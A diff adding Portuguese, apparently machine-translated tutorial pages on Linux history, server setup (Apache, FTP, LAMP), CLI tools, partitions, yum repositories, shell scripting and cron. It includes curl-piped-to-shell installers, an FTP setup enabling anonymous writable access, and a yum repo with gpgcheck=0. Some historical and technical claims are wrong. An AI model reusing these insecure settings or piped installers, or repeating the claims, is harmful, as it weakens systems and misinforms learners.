+O desenvolvimento do Linux é um dos exemplos mais importantes de colaboração de software livre e de código aberto. A fonte subjacente O código pode ser usado, modificado e distribuído comercialmente ou não comercialmente por qualquer pessoa sob os termos de suas respectivas licenças, tais como como a Licença Pública Geral GNU.
+
+O Linux foi iniciado como um clone do sistema operacional MINIX. Contribuidores de código aberto adicionados ao kernel e expandiram sua compatibilidade de hardware. O fornecimento de hardware e o licenciamento gratuito do Linux tornaram o Linux uma escolha popular para a computação de desktops e servidores no mercado. meados dos anos 90. Hoje, o Linux é o sistema operacional mais popular do mundo. Ele alimenta 90% dos servidores do mundo e é a base de O popular sistema operacional Android do Google.
+
+Há também muitas versões do Linux projetadas para serem executadas em computadores pessoais, como o Debian ou o Ubuntu. Mais importante, estes diferentes versões do Linux (chamadas distribuições) permitem que o usuário varie graus de personalização e controle dos sistema. Isso significa que os usuários podem escolher suas distribuições Linux com base em seus desejos e necessidades.
+
+Há também o Kali Linux, que é usado para testes avançados de penetração e auditoria. Tem mais de 700 ferramentas, para poder usá-lo com eficiência, você precisará saber como usar a linha de comando. Não é recomendado para iniciantes.
+
+Distribuições populares do Linux incluem:
+
+*   Ubuntu
+*   Mint Linux
+*   CentOS
+*   RHEL
+*   Arch Linux
+
+Os tipos de pacotes são divididos entre distribuições de alto nível, com o Debian (.deb) e Red Hat (.rpm) sendo dois dos mais usados, no entanto, existem outros, incluindo Pacman (usado para Arch Linux) e PetGet (Puppy Linux).
+
+As distribuições Linux também vêm em todos os formatos e tamanhos e a maioria, se não todas, oferecem a capacidade de executar diretamente via CD / DVD no que é conhecido como um ambiente 'Live CD' ou até mesmo diretamente via USB se a sua placa-mãe suportar a inicialização via USB.
+
+Para mais informações sobre o Linux, leia o artigo de Quincy Larson, [Linux é 25. Yay! Vamos celebrar com 25 fatos impressionantes sobre o Linux](https://medium.freecodecamp.org/linux-is-25-yay-lets-celebrate-with-25-rad-facts-about-linux-c8d8ac30076d) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/install-and-configure-apache-server-in-linux/index.md b/client/src/guide/portuguese/linux/install-and-configure-apache-server-in-linux/index.md
new file mode 100644
index 0000000000..76c7a5feed
--- /dev/null
+++ b/client/src/guide/portuguese/linux/install-and-configure-apache-server-in-linux/index.md
@@ -0,0 +1,19 @@
+---
+title: Install and Configure Apache Server in Linux
+localeTitle: Instalar e Configurar o Apache Server no Linux
+---
+Apache HTTP Server, coloquialmente chamado de Apache, é gratuito e de código aberto software de servidor da web de plataforma cruzada. O Apache é desenvolvido e mantido por um comunidade aberta de desenvolvedores sob os auspícios da Apache Software Foundation.
+
+## Instalar e Configurar o Apache Server no Linux
+
+Etapa 1: instalar o Apache Server `yum install httpd`
+
+Etapa 2: Configurando o http web sever `cd /etc/httpd/conf.d`
+
+Etapa 3: Crie um arquivo de configração personalizado com a extensão .conf. `vim *.conf`
+
+Etapa 4: Iniciando o Apache Server `systemctl start httpd.service`
+
+Etapa 5: Iniciar automaticamente o Apache Server quando o sistema operacional for iniciado. `systemctl enable httpd.service`
+
+Etapa 6: adicione permissão de firewall. `firewall-cmd --add-service=http --permanent`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md b/client/src/guide/portuguese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
new file mode 100644
index 0000000000..e461a820f6
--- /dev/null
+++ b/client/src/guide/portuguese/linux/install-and-configure-ftp-server-in-linux-redhat/index.md
@@ -0,0 +1,33 @@
+---
+title: Install and configure FTP server in Redhat/Centos Linux
+localeTitle: Instalar e configurar o servidor FTP no Redhat / Centos Linux
+---
+## Instalar e configurar o servidor FTP no Redhat / Centos Linux
+
+FTP significa File Transfer Protocol. Foi escrito por Abhay Bhushan e publicado como RFC 114 em 16 de abril de 1971. É suportado por todos os sistemas operacionais e navegadores. Ele é construído em uma arquitetura cliente-servidor.
+
+## Instalar e configurar o servidor FTP no Redhat / Centos Linux
+
+Passo 1: Vamos usar localhost para a nossa máquina para configurar o servidor ftp.
+
+Etapa 2: Instale o pacote vsftpd (daemon de FTP muito seguro).
+
+`yum install -y vsftpd`
+
+Etapa 3: Inicie o servidor FTP quando o sistema estiver ativado.
+
+`systemctl enable vsftpd.service`
+
+Etapa 4: Verificando o status do servidor ftp
+
+`systemctl status vsftpd.service`
+
+Etapa 5: Configure o pacote vsftpd. Vamos editar `/etc/vsftpd/vsftpd.conf`
+
+`Change the line which contain anonymous_enable=NO to anonymous_enable=YES` `This will give permit any one to access FTP server with authentication.` `Change the following to YES` `local_enable=YES` `write_enable=YES<br>`
+
+Etapa 6: Iniciar o servidor FTP `systemctl start vsftpd.service`
+
+Etapa 7: Instalar o Cliente FTP `yum install -y lftpd`
+
+Etapa 8: Conectar o FTP ao host local `lftp localhost`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md b/client/src/guide/portuguese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
new file mode 100644
index 0000000000..ceefbcefe0
--- /dev/null
+++ b/client/src/guide/portuguese/linux/installing-cli-tools-developers-should-not-live-without-on-linux-and-mac/index.md
@@ -0,0 +1,63 @@
+---
+title: Installing CLI Tools Developers Should not Live Without on Linux and Mac
+localeTitle: Instalando Ferramentas CLI Os desenvolvedores não devem viver sem no Linux e Mac
+---
+Este artigo é uma breve descrição de como instalar os principais utilitários de linha de comando que os desenvolvedores usam todos os dias em ambientes Macintosh e Linux. As principais ferramentas do CLI que serão mostradas são: Homebrew (Mac), Node e NPM, Bower, Gulp, Grunt e Tmux.
+
+## Instalando o Homebrew (sistemas Macintosh)
+
+Homebrew é 'O gerenciador de pacotes ausente para o OS X'. É uma ótima ferramenta para baixar e instalar pacotes diretamente de sua linha de comando. Isso não é necessário nas distribuições Linux porque elas já possuem gerenciadores de pacotes instalados por padrão, como o `apt-get` ou o `pacman` . Para instalar o Homebrew, basta colar o seguinte comando no seu terminal:
+
+*   `/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
+
+Caso você encontre o "Xcode Command Line Tools Missing", use o seguinte para instalá-lo:
+
+*   `xcode-select --install`
+
+## Instalando o NPM
+
+`NPM` , ou Node Package Manager, é outro gerenciador de pacotes útil para baixar principalmente ferramentas da web. O download do `NPM` também instalará o framework Node.js.
+
+### Mac:
+
+*   Usando o `Homebrew` type: `brew install node` e o `NPM` deveria ter sido instalado.
+
+### Linux:
+
+*   Usando o `apt-get` primeiro tipo: `curl -sL https://deb.nodesource.com/setup_6.x | sudo -E bash -` , em seguida, `sudo apt-get install nodejs`
+*   Usando o tipo `pacman` : `pacman -S nodejs npm`
+*   Usando o tipo `yum` : `sudo yum install nodejs npm`
+*   Usando o tipo `dnf` : `sudo dnf install nodejs`
+*   Usando o tipo `zypper` : `sudo zypper install nodejs6`
+
+## Instalando o Bower
+
+O Bower é um gerenciador de pacotes popular que permite instalar bibliotecas front-end. Você pode instalá-lo em sistemas Linux e Macintosh usando `npm` com o seguinte comando:
+
+*   `npm install -g bower` (O mesmo comando para Linux e OS X)
+
+## Instalando Gulp
+
+`Gulp` é uma ferramenta de framework e CLI que torna o desenvolvimento mais rápido e mais agradável automatizando as tarefas que os desenvolvedores estão fazendo repetidamente. Além disso, você pode instalar o `Gulp` através do `npm` :
+
+*   `npm install -g gulp-cli`
+
+E em pastas de projetos individuais:
+
+*   `npm install --save-dev gulp`
+
+## Instalando o Grunt
+
+`Grunt` é outra ferramenta de automação popular semelhante ao `Gulp` . Para instalá-lo, use `npm` novamente:
+
+*   `npm install -g grunt-cli`
+
+## Instalando o Tmux
+
+`Tmux` é um multiplexador de terminais para Linux e Mac. Ele permite que você tenha várias sessões e janelas na mesma janela de Bash e também permite "desanexar" sessões às quais você pode se conectar por meio do SSH, deixando todos os programas em execução no momento, em execução.
+
+Para instalar no Linux:
+
+*   `sudo apt install tmux`
+
+E é isso! Com essas ferramentas, seu processo de desenvolvimento e conteúdo serão agradáveis ​​e eficientes. Como você pode ver, a principal ferramenta para instalar é o `npm` e permite que você instale muitas outras ótimas ferramentas CLI orientadas para a web.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/lamp-stack/index.md b/client/src/guide/portuguese/linux/lamp-stack/index.md
new file mode 100644
index 0000000000..f4bb27f8df
--- /dev/null
+++ b/client/src/guide/portuguese/linux/lamp-stack/index.md
@@ -0,0 +1,23 @@
+---
+title: The Linux, Apache, MySQL, and PHP Stack
+localeTitle: O Linux, Apache, MySQL e PHP Stack
+---
+## O LAMP Stack
+
+Uma das configurações mais comuns para um servidor Linux é a pilha LAMP, nomeada a partir dos componentes usados ​​com mais freqüência (Linux, Apache, MySQL e PHP). A pilha LAMP padrão é de código aberto, disponível gratuitamente e completamente documentada, fornecendo uma plataforma flexível, padronizada e segura para o desenvolvimento de sites e aplicativos da Web.
+
+### Linux
+
+O componente do sistema operacional da pilha LAMP é geralmente uma distribuição do Linux, e muitas distribuições populares do Linux, como o Ubuntu e a Red Hat, possuem métodos semi-automáticos para instalação e configuração dos outros componentes. Quando o Mac OSX é substituído pelo Linux, a pilha resultante é às vezes referida como pilha MAMP. Da mesma forma, quando a pilha é construída em um ambiente Windows, ela é às vezes referida como uma pilha WAMP.
+
+### Apache
+
+O componente do servidor web da pilha é geralmente o Apache, o servidor web mais popular na internet. Em junho de 2014, estimava-se que o Apache atendesse a 52,27% de todos os sites ativos. Nos últimos anos, muitos administradores de sistemas e desenvolvedores da Web optaram por substituir o Apache pelo nginx, um servidor da Web que pode ser mais leve e mais rápido em algumas situações. A pilha resultante é por vezes referida como a pilha LEMP.
+
+### MySQL
+
+A camada do sistema de gerenciamento de banco de dados relacional (RDBMS) da pilha LAMP é o MySQL. Às vezes, é substituído pelo MariaDB, um gerador de desempenho do MySQL, ou até mesmo por bancos de dados não relacionados, como bancos de dados PostgreSQL ou NoSQL, como o MongoDB.
+
+### PHP
+
+A linguagem de programação do servidor ou camada de middleware da pilha LAMP é geralmente PHP, embora tenha sido frequentemente substituída por (ou usada juntamente com) Python, Perl ou outras linguagens.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/linux-brief-history/index.md b/client/src/guide/portuguese/linux/linux-brief-history/index.md
new file mode 100644
index 0000000000..aa8036fd2b
--- /dev/null
+++ b/client/src/guide/portuguese/linux/linux-brief-history/index.md
@@ -0,0 +1,19 @@
+---
+title: Linux Brief History
+localeTitle: Breve História do Linux
+---
+## Linux em resumo
+
+O GNU / Linux (comumente chamado apenas de Linux) é um sistema operacional gratuito, de código aberto e personalizável, baseado no kernel do Linux e em utilitários e bibliotecas GNU. Ele é desenvolvido por milhares de desenvolvedores e usado por milhões de pessoas, empresas e governos em todo o mundo. É uma solução alternativa para outros sistemas operacionais, como o Windows e o Mac OSX, e tem muitas distribuições ou "sabores" diferentes. Algumas das distribuições mais populares são o Ubuntu, o Red Hat Enterprise Linux (RHEL), o Debian, o Fedora, o CentOS, o OpenSuSE, o Arch, o Mint e o Solus. Inclui software encontrado em outros sistemas operacionais para tarefas comuns, como a execução de aplicativos de escritório, multimídia, gráficos e jogos. Ele também fornece ferramentas poderosas para programação e desenvolvimento web. O Linux foi desenvolvido para rodar em desktops, servidores, dispositivos Internet Of Things e dispositivos móveis (Android).
+
+## Quem inventou o Linux?
+
+O Linux é germinado como uma idéia na mente do jovem e brilhante **Linus Torvalds** quando ele era um estudante de ciência da computação. Ele costumava trabalhar no sistema operacional UNIX (software proprietário) e achava que precisava de melhorias. No entanto, quando suas sugestões foram rejeitadas pelos projetistas do UNIX, ele pensou em lançar um sistema operacional que fosse receptivo a mudanças, modificações sugeridas por seus usuários. Então Linus criou um Kernel chamado Linux em 1991. Embora ele precisaria de programas como Gerenciador de Arquivos, Editores de Documentos, Programas de Áudio e Vídeo para rodar nele. Com o passar do tempo, ele colaborou com outros programadores em lugares como o MIT e os aplicativos para Linux começaram a aparecer. Então, por volta de 1991, um sistema operacional Linux operacional com alguns aplicativos foi oficialmente lançado, e este foi o início de uma das opções de sistema operacional mais amadas e de código aberto disponíveis atualmente. As versões anteriores do Linux não eram tão fáceis de usar quanto eram usadas por programadores de computador e Linus Torvalds nunca teve isso em mente para comercializar seu produto. Isso definitivamente refreou a popularidade do Linux, à medida que outras janelas do Sistema Operacional comercialmente orientadas ficaram famosas. No entanto, o aspecto de código aberto do sistema operacional Linux tornou-o mais robusto.
+
+#### Mais Informações:
+
+[Linux na Wikipedia](https://en.wikipedia.org/wiki/Linux)
+
+[Kernel.org - o site oficial do kernel do Linux](https://www.kernel.org/)
+
+[Distrowatch - a referência para distribuições Linux](http://distrowatch.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/local-lamp-server-on-ubuntu/index.md b/client/src/guide/portuguese/linux/local-lamp-server-on-ubuntu/index.md
new file mode 100644
index 0000000000..94e3a0662c
--- /dev/null
+++ b/client/src/guide/portuguese/linux/local-lamp-server-on-ubuntu/index.md
@@ -0,0 +1,59 @@
+---
+title: local-lamp-server-on-ubuntu
+localeTitle: local-lamp-server-on-ubuntu
+---
## Local LAMP Server no Ubuntu
+
+O objetivo deste breve guia é levá-lo através do processo de configuração de um servidor LAMP (Linux, Apache, MySQL, PHP) em uma máquina local Ubuntu Linux ou máquina virtual. Isso permitirá que um desenvolvedor desenvolva usando PHP e MySQL (com o phpMyAdmin). Esta é uma pilha comum que é necessária para o desenvolvimento do Wordpress.
+
+### Instale os pacotes necessários
+
+Você precisará instalar os seguintes pacotes para o servidor LAMP. Você pode instalá-los todos de uma vez, separando cada pacote por um espaço, ou um de cada vez, como mostrado. Eu prefiro baixar um de cada vez, porque é mais fácil ver se houve algum erro. Digite o terminal e digite o seguinte:
+
+*   `sudo apt-get install apache2`
+*   `sudo apt-get install php`
+*   `sudo apt-get install php-mysql`
+*   `sudo apt-get install mysql-server`
+
+Você deve então ser solicitado a definir uma senha para o usuário root do MySQL. Depois de definir a senha, continue a instalar:
+
+*   `sudo apt-get install libapache2-mod-php`
+*   `sudo apt-get install php-mcrypt`
+*   `sudo apt-get install phpmyadmin`
+
+Você deve então ser perguntado qual servidor usar o select apache pressionando enter. Selecione não para configuração avançada do servidor.
+
+### Alterar permissões para o / var / www / html
+
+Para que os scripts e arquivos php sejam executados pelo servidor LAMP, eles precisam ser salvos no diretório / var / www / html. Você pode pensar neste local como seu servidor local. Para fazer alterações neste diretório, precisamos alterar as permissões nele. No terminal, digite o comando:
+
+*   `sudo chown {your ubuntu username} /var/www/html`
+
+### Crie um link simbólico para o phpMyAdmin
+
+Por padrão, o phpMyAdmin é instalado no diretório / usr / share /. Precisamos movê-lo para o nosso diretório do servidor local. Nós navegamos até o diretório do servidor no qual queremos o link:
+
+*   `cd /var/www/html`
+
+Em seguida, crie o link inserindo o comando:
+
+*   `ln -s /usr/share/phpmyadmin phpmyadmin`
+
+### Reinicie o Apache e teste
+
+Execute o seguinte comando para reiniciar o Apache, definindo as alterações feitas:
+
+*   `sudo systemctl restart apache2`
+
+Você deve então ser capaz de criar um arquivo info.php no diretório / var / www / html.
+
+*   `touch /var/www/html/info.php`
+
+No arquivo digite o seguinte código php:
+
+*   `<?php phpinfo(); ?>`
+
+Em seguida, abra um navegador e digite localhost / info.php Você deve ver uma página do arquivo php que você acabou de escrever que lhe dá informações sobre php.
+
+Finalmente, para acessar o phpMyAdmin, acesse o localhost / phpmyadmin em seu navegador. O nome de usuário root defualt é 'root' e a senha é a senha que você escolheu anteriormente para o banco de dados MySQL.
+
+### Mais Informações
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/making-partitions-in-linux/index.md b/client/src/guide/portuguese/linux/making-partitions-in-linux/index.md
new file mode 100644
index 0000000000..ddddf6a2f4
--- /dev/null
+++ b/client/src/guide/portuguese/linux/making-partitions-in-linux/index.md
@@ -0,0 +1,185 @@
+---
+title: Partitions
+localeTitle: Partições
+---
## PARTIÇÕES
+
+*   Sem criar partições no disco rígido, não podemos criar pastas.
+    
+*   Partições no Linux-
+    
+    *   **df**
+    *   **df -h** (legível para humanos)
+*   Mostra o tamanho em MiB, GiB
+    
+*   **lvdisplay**
+    
+*   Mostra informações sobre a partição do disco -
+    
+*   **fdisk -l**
+    
+*   **fdisk -l / dev / sda** (sda é o nome do disco rígido)
+    
+*   Para praticar a partição, insira o disco rígido virtual no Linux usando a caixa virtual.
+    
+*   Alguns pontos para lembrar
+    
+*   O disco rígido não entende GB ou MB, é unidade é setorial.  
+    1 setor = 512 bytes.  
+    Para encontrar o tamanho real do disco rígido, encontre o número de setores \* 512.  
+    Aloca espaço no disco rígido em setores.
+    
+*   Apenas 4 partições podem ser criadas em um único disco rígido.
+    
+
+  
+
+## FAZENDO PARTIÇÕES EM DISCO RÍGIDO
+
+1.  Abre o prompt do disco rígido.
+    
+    *   **fdisk / dev / sdb**
+2.  Imprime informações de partições do disco rígido.
+    
+    *   **p**
+3.  Crie uma nova partição.
+    
+    *   **n**
+4.  Escolha a partição principal.
+    
+5.  Pressione 1 (primeira partição)
+    
+6.  Inicial alguns setores (0-2047 = 2048 setores = 1 MB) são reservados no disco rígido.
+    
+7.  O espaço real começa no 2048º setor.
+    
+8.  **\+ 1G**
+    
+9.  Crie 4 partições como esta.
+    
+10.  Após a 4ª partição você não pode criar mais partições.
+    
+11.  Pressione **w** para salvar.
+    
+12.  Pressione **q** para sair sem salvar nenhuma partição. Isto irá Remover todas as partições feitas porque isso foi temporário.
+    
+13.  Para excluir a partição -
+    
+    *   **d**
+
+  
+
+## PORQUE HÁ LIMITE DE 4?
+
+*   Porque onde nós armazenamos as informações das partições, os metadados das partições, são fixos e de 64 bytes. Esta informação é armazenada na tabela de partições.
+*   1 partição requer 16 bytes para que apenas 4 partições possam ser criadas.
+*   Em 1 MB (2048 setores) reservado no disco rígido, 64 bytes são reservados para armazenar essas informações.
+*   Para ver tabelas de partições
+*   **fdisk -l**
+*   Quando usamos pela primeira vez o disco rígido, ele é inicializado ou formatado. Esse formato decide o número de partições no disco rígido.
+*   O sistema operacional cria um formato de disco rígido quando foi inicializado pela primeira vez e esse formato decide o número de partições.
+*   Formato da partição que usamos é o formato DOS = 64 bytes
+*   Formato GPT = 128 partições podem ser criadas.
+*   Tabela de partições -> formato: DOS -> 4 partições
+*   Tabela de partições -> formato: GPT -> 128 partições
+
+  
+
+## AUMENTANDO O NÚMERO DE PARTIÇÕES
+
+*   Crie uma nova tabela de partições no disco rígido.
+    
+*   A partição P4 será criada de forma que seja um disco rígido separado.
+    
+*   Esta partição é a partição estendida em que podemos criar mais partições.
+    
+*   A partição lógica ocupa espaço na partição estendida. Informações ou a tabela de partições serão armazenadas na partição estendida.
+    
+*   Crie 3 primária e última 1 partição estendida.
+    
+*   Total de 64 partições podem ser feitas agora. 3 primárias + 60 lógicas + 1 estendidas.
+    
+*   Mas 63 partições podem ser usadas para armazenamento de dados (remova 1 partição estendida).
+    
+*   Não há diferença entre a partição primária e a lógica, exceto que ninguém controla o primário, mas o lógico é controlado por estendido. Portanto, se removermos a partição estendida, todas as partições lógicas serão removidas.
+    
+*   Para ver informações sobre partições -
+    
+*   **lsblk** (lista de dispositivos de bloco)
+    
+*   O disco rígido também é conhecido como dispositivos de bloco
+    
+*   A partição estendida não pode ser usada para armazenamento de dados apenas lógico e primário pode ser usado.
+    
+*   Se a partição tiver que ser usada para armazenamento, siga estas 3 etapas -
+    
+
+1.  Crie uma partição física.
+2.  Formate-o.
+3.  Ativar / montar.
+
+  
+
+## PARTIÇÃO DE FORMATO
+
+*   A partição deve criar um índice para cada novo arquivo para processamento mais rápido.
+    
+*   Sempre que um arquivo for aberto, localize esse arquivo no índice.
+    
+*   Este índice é formado em partição quando é formatado pela primeira vez. É também chamado de sistema de arquivos.
+    
+*   Essa tabela de índice é conhecida como tabela inode (nó de índice).  Então, toda partição tem que ser formatada.
+    
+*   OS lê apenas tabela de inode para mostrar tamanhos de pastas, arquivos, drives etc.
+    
+*   Esta tabela de inodes pode ser alterada, e o sistema operacional mostrará tamanhos diferentes do tamanho real.
+    
+*   Quando removemos um arquivo, ele apenas remove a entrada do inode desse arquivo.
+    
+*   Por exemplo, remova um arquivo de tamanho 1 GB e 100 GB, o tempo será o mesmo.
+    
+*   Quando formamos uma partição, ela apenas remove a página de índice, os dados não serão removidos. Assim, podemos recuperar dados dessa partição.
+    
+*   O sistema de arquivos cria uma tabela de inodes para gerenciar arquivos.
+    
+*   Para formatar a partição -
+    
+*   **mkfs.ext4 / dev / sdb1**
+    
+*   Exemplo - NTFS, ext2, ext3, ext4, xfs etc.
+    
+
+  
+
+## Montagem ou Ativação
+
+*   Apenas dois tipos de coisa podem ser usados ​​em um sistema operacional - Arquivo e pasta
+    
+*   Nós não podemos ir diretamente em um dispositivo. Assim, o dispositivo criado tem que ser convertido em uma pasta ou link com uma pasta ou montar com uma pasta, a fim de usá-lo.
+    
+*   **mkdir / data**
+    
+*   **mount / dev / sdb1 / data** (Esses dados são como um pen drive montado e desmontado)
+    
+*   **cd / data**
+    
+*   **cat> adarsh.txt**
+    
+*   **umount / dev / sdb1**
+    
+*   **cd / data /**
+    
+*   **ls**
+    
+*   Monte novamente
+    
+*   Para saber qual partição está montada em qual pasta.
+    
+*   **df -h**
+    
+*   Mostra a tabela de inodes.
+    
+*   **ls -l**
+    
+*   Mostra o número do inode.
+    
+*   ls -il
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/origins-of-linux-and-the-free-software-movement/index.md b/client/src/guide/portuguese/linux/origins-of-linux-and-the-free-software-movement/index.md
new file mode 100644
index 0000000000..7a5a18f97f
--- /dev/null
+++ b/client/src/guide/portuguese/linux/origins-of-linux-and-the-free-software-movement/index.md
@@ -0,0 +1,13 @@
+---
+title: Origins of Linux and the Free Software Movement
+localeTitle: Origens do Linux e do Movimento Software Livre
+---
+Nos anos 80, um famoso hacker do MIT que trabalhava para o laboratório de Inteligência Artificial chamado [Richard Stallman](https://en.wikipedia.org/wiki/Richard_Stallman) promoveu o compartilhamento de conhecimento e idéias livremente, especificamente na área de software. [O UNIX](https://en.wikipedia.org/wiki/Unix) era o [sistema operacional](https://en.wikipedia.org/wiki/Operating_system) (SO) escolhido por muitos na comunidade científica e de engenharia, mas o problema era que o UNIX era [um software proprietário](https://en.wikipedia.org/wiki/Proprietary_software) . Isso significava que apenas os fornecedores do sistema operacional tinham acesso ao [código-fonte](https://en.wikipedia.org/wiki/Source_code) . Isso foi contra a filosofia de Stallman. Isso não significa apenas que os usuários finais não tinham permissão para ver como o software funcionava, eles não poderiam fazer nenhuma melhoria ou correção se pudessem.
+
+Stallman criou a [Free Software Foundation](https://en.wikipedia.org/wiki/Free_Software_Foundation) (FSF), que apoiava os ideais do [movimento do software livre](https://en.wikipedia.org/wiki/Free_software_movement) (indivíduos que usam e colaboram para o software aberto e gratuito). Ele também foi responsável por iniciar o [Projeto GNU](https://en.wikipedia.org/wiki/GNU_Project) em 1984, que foi a primeira tentativa de um sistema operacional livre que não fosse o UNIX (GNU é um [acrônimo recursivo](https://en.wikipedia.org/wiki/Recursive_acronym) para 'GNUs não UNIX'). O Projeto GNU incluiria tudo de útil encontrado em um sistema UNIX, mas escrito do zero. Mais importante, juntamente com o sistema operacional, o código-fonte também estaria legalmente disponível para aqueles que o desejassem. A ideia era que trocar livremente o código-fonte e o conhecimento interno do SO encorajaria o desenvolvimento colaborativo, o que, por sua vez, criaria um produto melhor para o sistema operacional. O Projeto GNU acabou levando à [Licença Pública GNU](https://en.wikipedia.org/wiki/GNU_General_Public_License) (GPL), que legalizou todo o software liberado sob ele para ser disponibilizado gratuitamente, assim como requer o fornecimento do código fonte. Enquanto a GPL foi um sucesso e ainda hoje é usada para licenciar software livre, o Projeto GNU nunca decolou como planejado. Outro hacker entrou em cena e forneceu a implementação de um sistema operacional gratuito para o mundo.
+
+[Linus Torvalds](https://en.wikipedia.org/wiki/Linus_Torvalds) , um estudante finlandês da Universidade de Helsinque, criou [o](https://en.wikipedia.org/wiki/Linux) kernel [Linux](https://en.wikipedia.org/wiki/Linux) enquanto experimentava uma versão gratuita e menor do UNIX usada para fins educacionais chamada [MINIX,](https://en.wikipedia.org/wiki/MINIX) desenvolvida por [Andrew Tanebatum](https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum) . Linus queria ter um SO livre semelhante que não tivesse as limitações de se limitar ao uso educacional puro. Ele criou o Linux que ele licenciou sob a GPL e distribuiu na Internet em 1991 (O código fonte atual e o trabalho no Linux Kernel podem ser encontrados no GitHub [aqui](https://github.com/torvalds/linux) . O Linus não usou nenhum código do MINIX, mas ele incorporou os recursos encontrados no MINIX / UNIX, é por isso que o Linux é freqüentemente chamado de ["UNIX-like"](https://en.wikipedia.org/wiki/Unix-like) ou "UNIX clone".
+
+Apesar do fato de que o GNU Project nunca criou um SO totalmente desenvolvido, ele criou muitos softwares de sistema para interagir com o kernel, o que é vital para um sistema operacional que funcione bem. Assim, a combinação do kernel do Linux com os programas do sistema principal GNU tornou o sistema operacional totalmente livre possível.
+
+Com o tempo, o Linux começou a reunir forte força dentro do movimento do software livre. Milhares de desenvolvedores em todo o mundo começaram a experimentar e usá-lo, fazendo contribuições onde achassem adequado. À medida que se tornou mais estável e rico em recursos, as empresas começaram lentamente a adotar o Linux como uma solução para suas necessidades e até começaram a contribuir para o Linux. O Linux atinge muitos dispositivos e ambientes até hoje e continua a crescer em popularidade.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/setting-up-yum-repositories-in-redhat-linux/index.md b/client/src/guide/portuguese/linux/setting-up-yum-repositories-in-redhat-linux/index.md
new file mode 100644
index 0000000000..01f1aa6acf
--- /dev/null
+++ b/client/src/guide/portuguese/linux/setting-up-yum-repositories-in-redhat-linux/index.md
@@ -0,0 +1,47 @@
+---
+title: Setting Up Yum Repositories in RedHat/CentOS Linux
+localeTitle: Configurando Repositórios do Yum no RedHat / CentOS Linux
+---
+YUM Repositórios são armazéns de software Linux (arquivos de pacotes RPM).
+
+O arquivo do pacote RPM é um arquivo do Red Hat Package Manager e permite a instalação rápida e fácil de software no Red Hat / CentOS Linux.
+
+## Configurando Repositórios do Yum no RedHat CentOS Linux
+
+Passo 1: Verifique se existem repositórios existentes ou não.
+
+```sh
+#yum repolist 
+```
+
+Você vai descobrir que não há repositórios.
+
+Etapa 2: alterar o diretório para
+
+```sh
+#cd /etc/yum.repos.d 
+```
+
+Etapa 3: criar novo arquivo
+
+```sh
+#vim myrepo.repo 
+```
+
+Etapa 4: digite as seguintes linhas no arquivo
+
+```sh
+[file-name] 
+ name=filename 
+ baseurl="location of yum repositories" 
+ gpgcheck=0 
+```
+
+Etapa 5: Salvar e Sair
+
+Etapa 6: repita a etapa 1
+
+```sh
+You Will find repositories 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/shell-scripting/index.md b/client/src/guide/portuguese/linux/shell-scripting/index.md
new file mode 100644
index 0000000000..573a6f02c6
--- /dev/null
+++ b/client/src/guide/portuguese/linux/shell-scripting/index.md
@@ -0,0 +1,45 @@
+---
+title: Shell scripting
+localeTitle: Scripts de shell
+---
+# Scripts de shell
+
+Na linha de comando, um script de shell é um arquivo executável que contém um conjunto de instruções que o shell irá executar. Seu principal objetivo é reduzir um conjunto de instruções (ou comandos) em apenas um arquivo. Também pode manipular alguma lógica, porque é uma linguagem de programação.
+
+## Como criá-lo
+
+1) Crie o arquivo:
+
+```bash
+$ touch myscript.sh 
+```
+
+2) Adicione um [shebang](https://en.wikipedia.org/wiki/Shebang_(Unix)) no início do arquivo. A linha Shebang é responsável por deixar o interpretador de comandos saber com qual interpretador o script de shell será executado:
+
+```bash
+$ echo "#!/bin/bash" > myscript.sh 
+ # or 
+ $ your-desired-editor myscript.sh 
+ # write at the first line #!/bin/bash 
+```
+
+3) Adicione alguns comandos:
+
+```bash
+$ echo "echo Hello World!" >> myscript.sh 
+```
+
+4) Dê o modo de _execução de_ arquivo:
+
+```bash
+$ chmod +x myscript.sh 
+```
+
+5) Execute-o!
+
+```bash
+$ ./myscript.sh 
+ Hello World! 
+```
+
+Mais informações sobre shell-scripting podem ser encontradas [aqui](https://www.shellscript.sh/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/linux/some-usages-for-linux/automating-tasks/index.md b/client/src/guide/portuguese/linux/some-usages-for-linux/automating-tasks/index.md
new file mode 100644
index 0000000000..80a6d8f9b9
--- /dev/null
+++ b/client/src/guide/portuguese/linux/some-usages-for-linux/automating-tasks/index.md
@@ -0,0 +1,173 @@
+---
+title: Automating Tasks
+localeTitle: Automatizando Tarefas
+---
+### Automatizando tarefas ou agendamento de tarefas
+
+Existe um recurso do Linux que é utilizado exclusivamente em um servidor da Web, conhecido como CRON Como sabemos, um dos recursos mais interessantes sobre qualquer servidor web é que é sempre ligado e sempre conectado à internet. Isso significa que podemos instruir nosso servidor para executar tarefas automaticamente, sem precisar digitar um comando em uma concha. Um dos programas mais usados ​​para executar _outros programas_ com uma freqüência regular é chamada `cron` . Vamos dar uma olhada em como usar `cron` para agendar um programa para ser executado.
+
+O programa `cron` faz parte de uma família de programas chamados **daemons** . Um daemon é um programa que está sempre rodando no background do nosso computador. Primeiro, vamos ver se o `cron` está rodando. Podemos obter uma lista de todos os programas em execução com o comando `ps` ao usar o sinalizador `-A` :
+
+\`\` \`{r, engine = 'bash', eval = FALSE} ps -A
+
+## TEMPO DO PID TTY CMD
+
+## 1? 00:00:13 systemd
+
+## 2? 00:00:00 kthreadd
+
+## 3? 00:00:03 ksoftirqd / 0
+
+## 5? 00:00:00 kworker / 0: 0H
+
+## 7? 00:00:11 rcu\_sched
+
+## 8? 00:00:00 rcu\_bh
+
